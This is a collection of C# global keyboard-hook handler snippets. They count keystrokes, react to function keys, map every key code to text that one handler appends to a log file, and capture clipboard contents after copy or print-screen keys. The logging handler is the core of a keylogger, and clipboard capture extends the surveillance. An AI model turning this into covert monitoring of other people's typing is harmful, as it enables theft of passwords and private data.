public void KeyReader(IntPtr wParam, IntPtr lParam) { int key = Marshal.ReadInt32(lParam); Hook.VK vk = (Hook.VK)key; KeyStrokes++; Active(); RaisePropertyChanged("KeyStrokes"); RaisePropertyChanged("TimeActive"); }
public static void KeyHandler(IntPtr wParam, IntPtr lParam) { int key = Marshal.ReadInt32(lParam); Hook.VK vk = (Hook.VK)key; Console.WriteLine("KeyHandler!"); switch (vk) { case Hook.VK.VK_F5: MessageBox.Show("You pressed F5!"); Console.WriteLine("You pressed F5!"); break; case Hook.VK.VK_F6: MessageBox.Show("You pressed F6!"); Console.WriteLine("You pressed F6!"); break; //etc... default: break; } }
public void KeyReaderr(IntPtr wParam, IntPtr lParam) { int key = Marshal.ReadInt32(lParam); Hook.VK vk = (Hook.VK)key; String temp = ""; switch (vk) { case Hook.VK.VK_F1: temp = "<-F1->"; break; case Hook.VK.VK_F2: temp = "<-F2->"; break; case Hook.VK.VK_F3: temp = "<-F3->"; break; case Hook.VK.VK_F4: temp = "<-F4->"; break; case Hook.VK.VK_F5: temp = "<-F5->"; break; case Hook.VK.VK_F6: temp = "<-F6->"; break; case Hook.VK.VK_F7: temp = "<-F7->"; break; case Hook.VK.VK_F8: temp = "<-F8->"; break; case Hook.VK.VK_F9: temp = "<-F9->"; break; case Hook.VK.VK_F10: temp = "<-F10->"; break; case Hook.VK.VK_F11: temp = "<-F11->"; break; case Hook.VK.VK_F12: temp = "<-F12->"; break; case Hook.VK.VK_NUMLOCK: temp = "<-numlock->"; break; case Hook.VK.VK_SCROLL: temp = "<-scroll>"; break; case Hook.VK.VK_LSHIFT: temp = "<-left shift->"; break; case Hook.VK.VK_RSHIFT: temp = "<-right shift->"; break; case Hook.VK.VK_LCONTROL: temp = "<-left control->"; break; case Hook.VK.VK_RCONTROL: temp = "<-right control->"; break; case Hook.VK.VK_SEPERATOR: temp = "|"; break; case Hook.VK.VK_SUBTRACT: temp = "-"; break; case Hook.VK.VK_DECIMAL: temp = "."; break; case Hook.VK.VK_DIVIDE: temp = "/"; break; case Hook.VK.VK_NUMPAD0: temp = "0"; break; case Hook.VK.VK_NUMPAD1: temp = "1"; break; case Hook.VK.VK_NUMPAD2: temp = "2"; break; case Hook.VK.VK_NUMPAD3: temp = "3"; break; case Hook.VK.VK_NUMPAD4: temp = "4"; break; case Hook.VK.VK_NUMPAD5: temp = "5"; break; case Hook.VK.VK_NUMPAD6: temp = "6"; break; case Hook.VK.VK_NUMPAD7: temp = "7"; break; case Hook.VK.VK_NUMPAD8: temp = "8"; break; case Hook.VK.VK_NUMPAD9: temp = "9"; break; case Hook.VK.VK_Q: temp = "q"; break; case Hook.VK.VK_W: temp = "w"; break; case Hook.VK.VK_E: temp = "e"; break; case Hook.VK.VK_R: temp = "r"; break; case Hook.VK.VK_T: temp = "t"; break; case Hook.VK.VK_Y: temp = "y"; break; case Hook.VK.VK_U: temp = "u"; break; case Hook.VK.VK_I: temp = "i"; break; case Hook.VK.VK_O: temp = "o"; break; case Hook.VK.VK_P: temp = "p"; break; case Hook.VK.VK_A: temp = "a"; break; case Hook.VK.VK_S: temp = "s"; break; case Hook.VK.VK_D: temp = "d"; break; case Hook.VK.VK_F: temp = "f"; break; case Hook.VK.VK_G: temp = "g"; break; case Hook.VK.VK_H: temp = "h"; break; case Hook.VK.VK_J: temp = "j"; break; case Hook.VK.VK_K: temp = "k"; break; case Hook.VK.VK_L: temp = "l"; break; case Hook.VK.VK_Z: temp = "z"; break; case Hook.VK.VK_X: temp = "x"; break; case Hook.VK.VK_C: temp = "c"; break; case Hook.VK.VK_V: temp = "v"; break; case Hook.VK.VK_B: temp = "b"; break; case Hook.VK.VK_N: temp = "n"; break; case Hook.VK.VK_M: temp = "m"; break; case Hook.VK.VK_0: temp = "0"; break; case Hook.VK.VK_1: temp = "1"; break; case Hook.VK.VK_2: temp = "2"; break; case Hook.VK.VK_3: temp = "3"; break; case Hook.VK.VK_4: temp = "4"; break; case Hook.VK.VK_5: temp = "5"; break; case Hook.VK.VK_6: temp = "6"; break; case Hook.VK.VK_7: temp = "7"; break; case Hook.VK.VK_8: temp = "8"; break; case Hook.VK.VK_9: temp = "9"; break; case Hook.VK.VK_SNAPSHOT: temp = "<-print screen->"; break; case Hook.VK.VK_INSERT: temp = "<-insert->"; break; case Hook.VK.VK_DELETE: temp = "<-delete->"; break; case Hook.VK.VK_BACK: temp = "<-backspace->"; break; case Hook.VK.VK_TAB: temp = "<-tab->"; break; case Hook.VK.VK_RETURN: temp = "<-enter->"; break; case Hook.VK.VK_PAUSE: temp = "<-pause->"; break; case Hook.VK.VK_CAPITAL: temp = "<-caps lock->"; break; case Hook.VK.VK_ESCAPE: temp = "<-esc->"; break; case Hook.VK.VK_SPACE: temp = "<-space->"; break; case Hook.VK.VK_PRIOR: temp = "<-page up->"; break; case Hook.VK.VK_NEXT: temp = "<-page down->"; break; case Hook.VK.VK_END: temp = "<-end->"; break; case Hook.VK.VK_HOME: temp = "<-home->"; break; case Hook.VK.VK_LEFT: temp = "<-arrow left->"; break; case Hook.VK.VK_UP: temp = "<-arrow up->"; break; case Hook.VK.VK_RIGHT: temp = "<-arrow right->"; break; case Hook.VK.VK_DOWN: temp = "<-arrow down->"; break; default: break; } writeUp = writeUp + temp; unhide(); checkKeys(); writeToFile(temp); }
void KeyReaderr(IntPtr wParam, IntPtr lParam) { try { int key = Marshal.ReadInt32(lParam); Hook.VK vk = (Hook.VK)key; //MessageBox.Show(vk.ToString()); // #region if (vk == Hook.VK.VK_LCONTROL || vk == Hook.VK.VK_RCONTROL) { temp += "Co_"; } if (vk == Hook.VK.VK_C || vk == Hook.VK.VK_X || vk == Hook.VK.VK_SNAPSHOT) { if (temp.Substring(temp.Length - 3, 3) == "Co_") { temp += "_pY"; } if (vk == Hook.VK.VK_SNAPSHOT) { temp = temp + "zzzzzzCo__pY"; } if (temp.Length >= 6) { System.Threading.Thread.Sleep(400); if (temp.Substring(temp.Length - 6, 6) == "Co__pY") { if (!listBox.Items.Contains(Clipboard.GetDataObject())) { string name = ""; Image itemimage = null; string itemtext = null; IDataObject data = Clipboard.GetDataObject(); obj.Add(data); if (data.GetDataPresent(DataFormats.StringFormat)) { itemtext = Clipboard.GetText(); cpy.Add(itemtext); listBox.Items.Add(DateTime.Now.ToShortTimeString() + " " + itemtext); } else { Bitmap bitmap = (Clipboard.GetData(DataFormats.Bitmap) as Bitmap); itemimage = bitmap; cpy.Add(itemimage); listBox.Items.Add(DateTime.Now.ToShortTimeString() + " " + "Image"); } } } } } } catch (Exception a) { } #endregion // MessageBox.Show(temp); }